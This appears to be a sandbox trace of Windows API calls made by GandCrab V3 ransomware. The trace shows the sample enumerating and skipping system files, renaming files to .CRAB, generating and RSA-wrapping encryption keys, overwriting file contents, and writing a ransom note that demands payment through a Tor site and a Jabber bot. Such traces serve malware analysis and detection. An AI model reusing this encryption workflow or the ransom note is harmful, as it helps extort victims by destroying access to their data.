	[0112.984] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0112.984] CloseHandle (hObject=0x3f4) returned 1
	[0112.991] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.991] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.991] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.991] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.992] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.992] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.992] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.992] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0112.992] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0112.992] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\CRAB-DECRYPT.txt"
	[0112.992] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.992] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\CRAB-DECRYPT.txt") returned 74
	[0112.992] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\CRAB-DECRYPT.txt") returned 74
	[0112.992] lstrlenW (lpString=".txt") returned 4
	[0112.992] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.993] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0112.993] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.993] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\CRAB-DECRYPT.txt") returned 74
	[0112.993] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\CRAB-DECRYPT.txt") returned 74
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0112.993] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0112.993] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.993] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0112.993] lstrcmpW (lpString1="Email Insights.xltm", lpString2=".") returned 1
	[0112.994] lstrcmpW (lpString1="Email Insights.xltm", lpString2="..") returned 1
	[0112.994] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="Email Insights.xltm" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm"
	[0112.994] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0112.994] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77
	[0112.994] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77
	[0112.994] lstrlenW (lpString=".xltm") returned 5
	[0112.994] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.994] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xltm ") returned 6
	[0112.994] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.994] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77
	[0112.994] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm") returned 77
	[0112.994] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="desktop.ini") returned 1
	[0112.994] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="autorun.inf") returned 1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="ntuser.dat") returned -1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="iconcache.db") returned -1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="bootsect.bak") returned 1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="boot.ini") returned 1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="ntuser.dat.log") returned -1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="thumbs.db") returned -1
	[0112.995] lstrcmpiW (lpString1="Email Insights.xltm", lpString2="CRAB-DECRYPT.txt") returned 1
	[0112.995] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0112.995] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB") returned 82
	[0112.995] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm")) returned 0x20
	[0112.996] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm", dwFileAttributes=0x20) returned 1
	[0112.996] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm.crab")) returned 1
	[0112.997] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0112.997] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB"
	[0112.997] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB.CRAB"
	[0112.997] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6eb78) returned 1
	[0112.998] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0112.998] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0112.998] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0112.998] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0112.999] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0112.999] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0112.999] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6ec00) returned 1
	[0112.999] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0113.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0113.000] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0113.000] CryptGenRandom (in: hProv=0xd6ec00, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0113.000] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0113.000] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.000] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0113.000] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0113.001] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e408) returned 1
	[0113.001] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda3d20) returned 1
	[0113.002] CryptGetKeyParam (in: hKey=0xda3d20, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0113.002] CryptEncrypt (in: hKey=0xda3d20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0113.002] GetLastError () returned 0x0
	[0113.002] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0113.002] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6ed98) returned 1
	[0113.002] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0xda3de0) returned 1
	[0113.002] CryptGetKeyParam (in: hKey=0xda3de0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0113.002] CryptEncrypt (in: hKey=0xda3de0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0113.003] GetLastError () returned 0x0
	[0113.003] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0113.003] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\Email Insights.xltm.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\email insights.xltm.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0113.003] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0113.003] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0113.003] ReadFile (in: hFile=0x3f4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314b474*=0xb431d, lpOverlapped=0x0) returned 1
	[0113.060] VirtualAlloc (lpAddress=0x0, dwSize=0xb4320, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0113.072] VirtualAlloc (lpAddress=0x0, dwSize=0xb4320, flAllocationType=0x3000, flProtect=0x4) returned 0x3420000
	[0113.089] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.092] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfff4bce3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.092] WriteFile (in: hFile=0x3f4, lpBuffer=0x3420000*, nNumberOfBytesToWrite=0xb4320, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3420000*, lpNumberOfBytesWritten=0x314b464*=0xb4320, lpOverlapped=0x0) returned 1
	[0113.094] VirtualFree (lpAddress=0x3420000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.097] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.101] WriteFile (in: hFile=0x3f4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0113.101] WriteFile (in: hFile=0x3f4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0113.101] WriteFile (in: hFile=0x3f4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0113.101] CloseHandle (hObject=0x3f4) returned 1
	[0113.112] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.113] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.113] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.113] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.113] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.113] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.114] FindNextFileW (in: hFindFile=0xda7370, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0113.114] lstrcmpW (lpString1="LiveContent", lpString2=".") returned 1
	[0113.114] lstrcmpW (lpString1="LiveContent", lpString2="..") returned 1
	[0113.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\", lpString2="LiveContent" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent"
	[0113.114] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\"
	[0113.114] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0113.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0113.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0113.114] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0113.114] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314aa18, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0113.115] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0113.115] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0113.115] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314a200, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0113.115] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0113.115] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0113.115] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.115] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\\\CRAB-DECRYPT.txt") returned 87
	[0113.115] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0113.117] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0113.117] WriteFile (in: hFile=0x3f4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314a9fc, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314a9fc*=0xcce, lpOverlapped=0x0) returned 1
	[0113.117] CloseHandle (hObject=0x3f4) returned 1
	[0113.118] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.118] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\") returned 70
	[0113.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*"
	[0113.118] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0xda4160
	[0113.118] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0113.118] FindNextFileW (in: hFindFile=0xda4160, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0113.118] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0113.118] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0113.118] FindNextFileW (in: hFindFile=0xda4160, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0113.118] lstrcmpW (lpString1="16", lpString2=".") returned 1
	[0113.118] lstrcmpW (lpString1="16", lpString2="..") returned 1
	[0113.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\", lpString2="16" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16"
	[0113.118] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\"
	[0113.118] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0113.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0113.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0113.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0113.119] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0113.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149f70, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0113.119] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0113.119] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned -1
	[0113.119] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x3149758, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0113.119] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0113.119] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0113.119] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0113.119] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\\\CRAB-DECRYPT.txt") returned 90
	[0113.120] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\microsoft\\templates\\livecontent\\16\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0113.120] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
